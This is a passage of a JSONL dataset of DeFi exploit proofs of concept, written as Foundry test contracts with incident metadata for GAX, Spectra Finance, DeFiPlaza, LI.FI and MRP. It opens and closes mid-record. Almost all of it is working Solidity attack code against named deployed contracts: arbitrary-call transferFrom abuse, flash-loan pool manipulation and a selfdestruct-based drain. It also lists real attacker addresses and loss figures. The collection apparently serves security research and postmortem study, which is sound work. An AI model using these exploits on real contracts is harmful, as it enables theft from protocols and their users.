BUSD.balanceOf(address(VulnContract_addr)), 0);\n VulnContract_addr.call(abi.encodeWithSelector(bytes4(0x6c99d7c8), data));\n emit log_named_decimal_uint(\"Attacker BUSD balance after attack\", BUSD.balanceOf(address(this)), 18);\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "GAX", "date": "2024-07", "file_name": "GAX_exp.sol", "attack_vector": null, "content_hash": "983378ba209954e2", "collected_at": "2026-01-07T10:59:16.539684", "_source": "postmortems", "chain": "bsc", "block_number": 40375925, "total_lost_raw": "~50k $BUSD", "total_lost_usd": 50000.0, "attacker_address": "https://bscscan.com/address/0x8ccf2860f38fc2f4a56dec897c8c976503fcb123", "attack_contract": "https://bscscan.com/address/0x64b9d294cd918204d1ee6bce283edb49302ddf7e", "vulnerable_contract": "https://bscscan.com/address/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b", "attack_tx": "https://bscscan.com/tx/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "~50k $BUSD", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)), 18);\n bytes memory data = abi.encode(0, BUSD.balanceOf(address(VulnContract_addr)), 0);\n VulnContract_addr.call(abi.encodeWithSelector(bytes4(0x6c99d7c8), data));\n emit log_named_decimal_uint(\"Attacker BUSD balance after attack\", BUSD.balanceOf(address(this)), 18);\n }\n\n fallback() external payable {}\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~50k $BUSD", "keyinfo_attacker": "https://bscscan.com/address/0x8ccf2860f38fc2f4a56dec897c8c976503fcb123", "keyinfo_attack_contract": "https://bscscan.com/address/0x64b9d294cd918204d1ee6bce283edb49302ddf7e", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b", "keyinfo_attack_tx": "https://bscscan.com/tx/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$50.0K", "content_richness_score": 6.76, "quality_estimate": "medium", "title": "GAX Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~73K USD\n// TX : https://app.blocksec.com/explorer/tx/eth/0x491cf8b2a5753fdbf3096b42e0a16bc109b957dc112d6537b1ed306e483d0744\n// Attacker : https://etherscan.io/address/0x53635bf7b92b9512f6de0eb7450b26d5d1ad9a4c\n// Attack Contract : https://etherscan.io/address/0xba8ce86147ded54c0879c9a954f9754a472704aa\n// GUY : https://x.com/shoucccc/status/1815981585637990899\n\ncontract ContractTest is Test {\n address public VulnContract = 0x3d20601ac0Ba9CAE4564dDf7870825c505B69F1a;\n address victim = 0x279a7DBFaE376427FFac52fcb0883147D42165FF;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 asdCRV = IERC20(0x43E54C2E7b3e294De3A155785F52AB49d87B9922);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_369_956);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\n \"[Begin] Attacker asdCRV balance before exploit\", asdCRV.balanceOf(address(this)), asdCRV.decimals()\n );\n attack();\n emit log_named_decimal_uint(\n \"[End] Attacker asdCRV balance after exploit\", asdCRV.balanceOf(address(this)), asdCRV.decimals()\n );\n }\n\n function attack() public {\n bytes memory datas = abi.encode(\n address(asdCRV),\n address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),\n 0,\n address(this),\n 1,\n abi.encodeWithSelector(\n bytes4(0x23b872dd), address(victim), address(this), asdCRV.balanceOf(address(victim))\n )\n );\n bytes memory command = hex\"12\";\n bytes[] memory data = new bytes[](1);\n data[0] = datas;\n address(VulnContract).call(abi.encodeWithSelector(bytes4(0x3593564c), command, data, block.timestamp + 20));\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Spectra_finance", "date": "2024-07", "file_name": "Spectra_finance_exp.sol", "attack_vector": null, "content_hash": "552c30fcc1afb22c", "collected_at": "2026-01-07T10:59:16.539724", "_source": "postmortems", "chain": "ethereum", "block_number": 20369956, "total_lost_raw": "~73K USD", "total_lost_usd": 73000.0, "attacker_address": "https://etherscan.io/address/0x53635bf7b92b9512f6de0eb7450b26d5d1ad9a4c", "attack_contract": "https://etherscan.io/address/0xba8ce86147ded54c0879c9a954f9754a472704aa", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "~73K USD", "category": "unknown", "exploit_code": "function attack() public {\n bytes memory datas = abi.encode(\n address(asdCRV),\n address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),\n 0,\n address(this),\n 1,\n abi.encodeWithSelector(\n bytes4(0x23b872dd), address(victim), address(this), asdCRV.balanceOf(address(victim))\n )\n );\n bytes memory command = hex\"12\";\n bytes[] memory data = new bytes[](1);\n data[0] = datas;\n address(VulnContract).call(abi.encodeWithSelector(bytes4(0x3593564c), command, data, block.timestamp + 20));\n }\n\n fallback() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x53635bf7b92b9512f6de0eb7450b26d5d1ad9a4c", "keyinfo_attack_contract": "https://etherscan.io/address/0xba8ce86147ded54c0879c9a954f9754a472704aa", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$73.0K", "content_richness_score": 4.99, "quality_estimate": "low", "title": "Spectra_finance Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~200k USD\n// TX : https://app.blocksec.com/explorer/tx/eth/0xa245deda8553c6e4c575baff9b50ef35abf4c8f990f8f36897696f896f240e3a\n// Frontrunner : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a\n// Original Attacker: https://etherscan.io/address/0x14b362d2e38250604f21a334d71c13e2ed478467\n// Frontrunner Attack Contract: https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0\n// Original Attack Contract : https://etherscan.io/address/0xa4e8969bba1e1d48c30c948de0884cdff43e2d54\n// GUY : https://x.com/DecurityHQ/status/1809222922998808760\n\ninterface DeFiPlaza is IERC20 {\n function swap(\n address inputToken,\n address outputToken,\n uint256 inputAmount,\n uint256 minOutputAmount\n ) external payable returns (uint256 outputAmount);\n function addMultiple(\n address[] calldata tokens,\n uint256[] calldata maxAmounts\n ) external payable returns (uint256 actualLP);\n function removeLiquidity(\n uint256 LPamount,\n address outputToken,\n uint256 minOutputAmount\n ) external returns (uint256 actualOutput);\n}\n\ncontract ContractTest is Test {\n DeFiPlaza DEFI = DeFiPlaza(0xE68c1d72340aEeFe5Be76eDa63AE2f4bc7514110);\n IERC20 DFP2 = IERC20(0x2F57430a6ceDA85a67121757785877b4a71b8E6D);\n IERC20 YFI = IERC20(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e);\n IERC20 Matic = IERC20(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0);\n IERC20 SUSHI = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2);\n IERC20 eXRD = IERC20(0x6468e79A80C0eaB0F9A2B574c8d5bC374Af59414);\n IERC20 CVX = IERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);\n IERC20 MKR = IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2);\n IERC20 Spell = IERC20(0x090185f2135308BaD17527004364eBcC2D37e5F6);\n IERC20 AAVEtoken = IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9);\n IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IUSDT LINK = IUSDT(0x514910771AF9Ca656af840dff83E8264EcF986CA);\n IERC20 COMP = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);\n IERC20 CRV = IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IAaveFlashloan AAVE = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n address public vulnContract = 0x00C409001C1900DdCdA20000008E112417DB003b;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n\n event log_data(bytes data);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_240_538);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[End] Attacker ETH balance before exploit\", address(this).balance, 18);\n emit log_named_decimal_uint(\n \"[End] Attacker eXRD balance before exploit\", eXRD.balanceOf(address(this)), eXRD.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker USDC balance before exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\"[End] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\n \"[End] Attacker DAI balance before exploit\", DAI.balanceOf(address(this)), DAI.decimals()\n );\n emit log_named_decimal_uint(\"[End] Attacker LINK balance before exploit\", LINK.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"[End] Attacker WBTC balance before exploit\", WBTC.balanceOf(address(this)), WBTC.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker Spell balance before exploit\", Spell.balanceOf(address(this)), Spell.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker MKR balance before exploit\", MKR.balanceOf(address(this)), MKR.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker CRV balance before exploit\", CRV.balanceOf(address(this)), CRV.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker YFI balance before exploit\", YFI.balanceOf(address(this)), YFI.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker Sushi balance before exploit\", SUSHI.balanceOf(address(this)), SUSHI.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker Matic balance before exploit\", Matic.balanceOf(address(this)), Matic.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker COMP balance before exploit\", COMP.balanceOf(address(this)), COMP.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker CVX balance before exploit\", CVX.balanceOf(address(this)), CVX.decimals()\n );\n console.log(\"=====================\");\n bytes memory userencodeData = abi.encode(1, address(this));\n approveAll();\n uint256[] memory amount = new uint256[](9);\n address[] memory token = new address[](9);\n\n token[0] = address(WBTC);\n token[1] = address(LINK);\n token[2] = address(DAI);\n token[3] = address(AAVEtoken);\n token[4] = address(MKR);\n token[5] = address(USDC);\n token[6] = address(WETH);\n token[7] = address(CRV);\n token[8] = address(USDT);\n\n amount[0] = 3_453_558_744;\n amount[1] = 11_703_486_364_971_912_026_396;\n amount[2] = 1_579_853_285_099_364_323_842_974;\n amount[3] = 626_870_781_897_849_610_814_425;\n amount[4] = 160_573_001_420_344_730_080;\n amount[5] = 5_082_037_851_392;\n amount[6] = 34_546_473_222_602_105_572_392;\n amount[7] = 3_901_990_478_262_973_511_258;\n amount[8] = 3_721_449_521_913;\n Balancer.flashLoan(address(this), token, amount, userencodeData);\n\n emit log_named_decimal_uint(\"[End] Attacker ETH balance after exploit\", address(this).balance, 18);\n emit log_named_decimal_uint(\n \"[End] Attacker eXRD balance after exploit\", eXRD.balanceOf(address(this)), eXRD.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\n \"[End] Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals()\n );\n emit log_named_decimal_uint(\"[End] Attacker LINK balance after exploit\", LINK.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"[End] Attacker WBTC balance after exploit\", WBTC.balanceOf(address(this)), WBTC.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker Spell balance after exploit\", Spell.balanceOf(address(this)), Spell.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker MKR balance after exploit\", MKR.balanceOf(address(this)), MKR.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker CRV balance after exploit\", CRV.balanceOf(address(this)), CRV.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker YFI balance after exploit\", YFI.balanceOf(address(this)), YFI.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker Sushi balance after exploit\", SUSHI.balanceOf(address(this)), SUSHI.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker Matic balance after exploit\", Matic.balanceOf(address(this)), Matic.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker COMP balance after exploit\", COMP.balanceOf(address(this)), COMP.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker CVX balance after exploit\", CVX.balanceOf(address(this)), CVX.decimals()\n );\n }\n\n function receiveFlashLoan(\n IERC20[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n address[] memory assets = new address[](6);\n assets[0] = address(WBTC);\n assets[1] = address(LINK);\n assets[2] = address(DAI);\n assets[3] = address(MKR);\n assets[4] = address(CRV);\n assets[5] = address(USDT);\n uint256[] memory amounts = new uint256[](6);\n amounts[0] = 5_781_711_628;\n amounts[1] = 418_582_543_975_397_474_624_769;\n amounts[2] = 3_503_975_614_905_139_135_512_778;\n amounts[3] = 2_280_638_770_110_776_934_873;\n amounts[4] = 1_044_246_667_915_305_492_650_602;\n amounts[5] = 1_396_680_406_245;\n uint256[] memory interestRateModes = new uint256[](7);\n interestRateModes[0] = 2;\n interestRateModes[1] = 2;\n interestRateModes[2] = 2;\n interestRateModes[3] = 0;\n interestRateModes[4] = 0;\n interestRateModes[5] = 2;\n AAVE.flashLoan(address(this), assets, amounts, interestRateModes, address(this), bytes(\"\"), 0);\n\n AAVE.repay(address(WBTC), 5_781_711_628, 2, address(this));\n AAVE.repay(address(LINK), 418_582_543_975_397_474_624_769, 2, address(this));\n AAVE.repay(address(DAI), 3_503_975_614_905_139_135_512_778, 2, address(this));\n AAVE.repay(address(USDT), 1_396_680_406_245, 2, address(this));\n AAVE.withdraw(address(AAVEtoken), 626_870_781_897_849_610_814_425, address(this));\n\n WBTC.transfer(address(Balancer), 3_453_558_744);\n LINK.transfer(address(Balancer), 11_703_486_364_971_912_026_396);\n DAI.transfer(address(Balancer), 1_579_853_285_099_364_323_842_974);\n AAVEtoken.transfer(address(Balancer), 626_870_781_897_849_610_814_425);\n MKR.transfer(address(Balancer), 160_573_001_420_344_730_080);\n USDC.transfer(address(Balancer), 5_082_037_851_392);\n WETH.transfer(address(Balancer), 34_546_473_222_602_105_572_392);\n CRV.transfer(address(Balancer), 3_901_990_478_262_973_511_258);\n USDT.transfer(address(Balancer), 3_721_449_521_913);\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n DEFI.swap(address(USDT), address(COMP), 256_581_711_438, 0);\n DEFI.swap(address(WBTC), address(DFP2), 462_981_892, 0);\n DEFI.swap(address(USDC), address(eXRD), 254_772_346_112, 0);\n DEFI.swap(address(MKR), address(SUSHI), 122_382_648_177_021_930_433, 0);\n DEFI.swap(address(DAI), address(CVX), 254_862_134_828_721_809_308_072, 0);\n DEFI.swap(address(LINK), address(Matic), 21_571_067_484_081_842_602_565, 0);\n\n DEFI.swap{value: 86 ether}(address(0), address(Spell), 86 ether, 0);\n DEFI.swap{value: 1727 ether}(address(0), address(YFI), 1727 ether, 0);\n\n address[] memory tokens = new address[](16);\n tokens[0] = address(0);\n tokens[1] = address(Spell);\n tokens[2] = address(YFI);\n tokens[3] = address(WBTC);\n tokens[4] = address(DFP2);\n tokens[5] = address(CVX);\n tokens[6] = address(LINK);\n tokens[7] = address(eXRD);\n tokens[8] = address(DAI);\n tokens[9] = address(SUSHI);\n tokens[10] = address(Matic);\n tokens[11] = address(MKR);\n tokens[12] = address(USDC);\n tokens[13] = address(COMP);\n tokens[14] = address(CRV);\n tokens[15] = address(USDT);\n uint256[] memory amounts = new uint256[](16);\n amounts[0] = 32_732 ether;\n amounts[1] = 88_888_888 ether;\n amounts[2] = 88_888_888 ether;\n amounts[3] = 87 * 1e8;\n amounts[4] = 88_888_888 ether;\n amounts[5] = 88_888_888 ether;\n amounts[6] = 88_888_888 ether;\n amounts[7] = 88_888_888 ether;\n amounts[8] = 88_888_888 ether;\n amounts[9] = 88_888_888 ether;\n amounts[10] = 88_888_888 ether;\n amounts[11] = 88_888_888 ether;\n amounts[12] = 88_888_888 ether;\n amounts[13] = 88_888_888 ether;\n amounts[14] = 88_888_888 ether;\n amounts[15] = 88_888_888 ether;\n DEFI.addMultiple{value: 32_732 ether}(tokens, amounts);\n uint256 amount = DEFI.balanceOf(address(this));\n DEFI.removeLiquidity(amount, address(0), 0);\n\n DEFI.swap{value: 0.000000000000000001 ether}(address(0), address(Spell), 1, 0);\n DEFI.swap(address(Spell), address(YFI), 1, 0);\n DEFI.swap(address(YFI), address(WBTC), 1, 0);\n DEFI.swap(address(WBTC), address(DFP2), 1, 0);\n DEFI.swap(address(DFP2), address(CVX), 1, 0);\n DEFI.swap(address(CVX), address(LINK), 1, 0);\n DEFI.swap(address(LINK), address(eXRD), 1, 0);\n DEFI.swap(address(eXRD), address(DAI), 1, 0);\n DEFI.swap(address(DAI), address(SUSHI), 1, 0);\n DEFI.swap(address(SUSHI), address(Matic), 1, 0);\n DEFI.swap(address(Matic), address(MKR), 1, 0);\n DEFI.swap(address(MKR), address(USDC), 1, 0);\n DEFI.swap(address(USDC), address(COMP), 1, 0);\n DEFI.swap(address(COMP), address(CRV), 1, 0);\n DEFI.swap(address(CRV), address(USDT), 1, 0);\n AAVE.supply(address(AAVEtoken), 626_870_781_897_849_610_814_425, address(this), 0);\n return true;\n }\n\n function approveAll() public {\n SUSHI.approve(address(DEFI), type(uint256).max);\n COMP.approve(address(DEFI), type(uint256).max);\n CRV.approve(address(DEFI), type(uint256).max);\n CRV.approve(address(AAVE), type(uint256).max);\n LINK.approve(address(DEFI), type(uint256).max);\n LINK.approve(address(AAVE), type(uint256).max);\n AAVEtoken.approve(address(AAVE), type(uint256).max);\n Spell.approve(address(DEFI), type(uint256).max);\n CVX.approve(address(DEFI), type(uint256).max);\n eXRD.approve(address(DEFI), type(uint256).max);\n SUSHI.approve(address(DEFI), type(uint256).max);\n WBTC.approve(address(AAVE), type(uint256).max);\n WBTC.approve(address(DEFI), type(uint256).max);\n Matic.approve(address(DEFI), type(uint256).max);\n MKR.approve(address(DEFI), type(uint256).max);\n MKR.approve(address(AAVE), type(uint256).max);\n YFI.approve(address(DEFI), type(uint256).max);\n DFP2.approve(address(DEFI), type(uint256).max);\n USDT.approve(address(DEFI), type(uint256).max);\n USDT.approve(address(AAVE), type(uint256).max);\n USDC.approve(address(DEFI), type(uint256).max);\n DAI.approve(address(DEFI), type(uint256).max);\n DAI.approve(address(AAVE), type(uint256).max);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "DeFiPlaza", "date": "2024-07", "file_name": "DeFiPlaza_exp.sol", "attack_vector": "flash_loan", "content_hash": "e3f2d607d57e4c3c", "collected_at": "2026-01-07T10:59:16.539778", "_source": "postmortems", "chain": "ethereum", "block_number": 20240538, "total_lost_raw": "~200k USD", "total_lost_usd": 200000.0, "attacker_address": "https://etherscan.io/address/0x14b362d2e38250604f21a334d71c13e2ed478467", "attack_contract": "https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "high", "severity_raw": "~200k USD", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x14b362d2e38250604f21a334d71c13e2ed478467", "keyinfo_attack_contract": "https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$200.0K", "content_richness_score": 6, "quality_estimate": "medium", "title": "DeFiPlaza Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~10M USD\n// TX : https://app.blocksec.com/explorer/tx/eth/0xd82fe84e63b1aa52e1ce540582ee0895ba4a71ec5e7a632a3faa1aff3e763873\n// Attacker : https://etherscan.io/address/0x8b3cb6bf982798fba233bca56749e22eec42dcf3\n// Attack Contract : https://etherscan.io/address/0x986aca5f2ca6b120f4361c519d7a49c5ac50c240\n// GUY : https://x.com/danielvf/status/1505689981385334784\n\nlibrary LibSwap {\n struct SwapData {\n address callTo;\n address approveTo;\n address sendingAssetId;\n address receivingAssetId;\n uint256 fromAmount;\n bytes callData;\n bool requiresDeposit;\n }\n}\n\ninterface LiFiDiamond {\n function depositToGasZipERC20(\n LibSwap.SwapData calldata _swapData,\n uint256 _destinationChains,\n address _recipient\n ) external;\n}\n\ncontract ContractTest is Test {\n IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n LiFiDiamond Vulncontract = LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address Victim = 0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;\n Money money;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_318_962);\n }\n\n function testExpolit() public {\n emit log_named_decimal_uint(\n \"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n attack();\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), USDT.decimals());\n }\n\n function attack() public {\n money = new Money();\n LibSwap.SwapData memory swapData = LibSwap.SwapData({\n callTo: address(USDT),\n approveTo: address(this),\n sendingAssetId: address(money),\n receivingAssetId: address(money),\n fromAmount: 1,\n callData: abi.encodeWithSelector(bytes4(0x23b872dd), address(Victim), address(this), 2_276_295_880_553),\n requiresDeposit: true\n });\n\n Vulncontract.depositToGasZipERC20(swapData, 0, address(this));\n }\n\n fallback() external payable {}\n}\n\ncontract Money is Test {\n IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n LiFiDiamond Vulncontract = LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address Victim = 0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;\n address other = 0xF929bA2AEec16cFfcfc66858A9434E194BAaf80D;\n address owner;\n Help help;\n\n constructor() payable {\n owner = msg.sender;\n }\n\n function balanceOf(\n address who\n ) external view returns (uint256) {\n return 1;\n }\n\n function allowance(address _owner, address spender) external view returns (uint256) {\n return 0;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n help = new Help();\n help.sendto{value: 1}(address(Vulncontract));\n return true;\n }\n\n fallback() external payable {}\n}\n\ncontract Help is Test {\n IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n LiFiDiamond Vulncontract = LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address Victim = 0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;\n address owner;\n\n constructor() payable {\n owner = msg.sender;\n }\n\n function sendto(\n address who\n ) external payable {\n (bool success, bytes memory retData) = address(Vulncontract).call{value: msg.value}(\"\");\n require(success, \"Error\");\n selfdestruct(payable(msg.sender));\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Lifiprotocol", "date": "2024-07", "file_name": "Lifiprotocol_exp.sol", "attack_vector": "flash_loan", "content_hash": "2e2c13c5908678a9", "collected_at": "2026-01-07T10:59:16.539858", "_source": "postmortems", "chain": "ethereum", "block_number": 20318962, "total_lost_raw": "~10M USD", "total_lost_usd": 10000000.0, "attacker_address": "https://etherscan.io/address/0x8b3cb6bf982798fba233bca56749e22eec42dcf3", "attack_contract": "https://etherscan.io/address/0x986aca5f2ca6b120f4361c519d7a49c5ac50c240", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "~10M USD", "category": "flash-loan", "exploit_code": "function testExpolit() public {\n emit log_named_decimal_uint(\n \"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n attack();\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), USDT.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x8b3cb6bf982798fba233bca56749e22eec42dcf3", "keyinfo_attack_contract": "https://etherscan.io/address/0x986aca5f2ca6b120f4361c519d7a49c5ac50c240", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$10.00M", "content_richness_score": 7.3, "quality_estimate": "medium", "title": "Lifiprotocol Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~17 BNB\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x4353a6d37e95a0844f511f0ea9300ef3081130b24f0cf7a4bd1cae26ec393101\n// Attacker : https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b138\n// Attack Contract : https://bscscan.com/address/0x2bd8980a925e6f5a910be8cc0ad1cff663e62d9d\n \n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WMRP = IERC20(0x35F5cEf517317694DF8c50C894080caA8c92AF7D);\n IERC20 MRP = IERC20(0xA0Ba9d82014B33137B195b5753F3BC8Bf15700a3);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 40_122_169);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Begin] Attacker BNB before exploit\", address(this).balance, 18);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker BNB after exploit\", address(this).balance, 18);\n }\n\n function attack() public {\n address(WMRP).call{value: 43.14 ether}(\"\");\n WMRP.transfer(address(WMRP), 0);\n MRP.transfer(address(WMRP), MRP.balanceOf(address(this)));\n address(WMRP).call{value: 58 ether}(\"\");\n WMRP.transfer(address(this), 0);\n MRP.transfer(address(WMRP), 1268 ether);\n WMRP.transfer(address(WMRP), 0);\n emit log_named_decimal_uint(\"attacker MRP balance :\", MRP.balanceOf(address(this)), MRP.decimals());\n require(MRP.balanceOf(address(this)) >= 6000 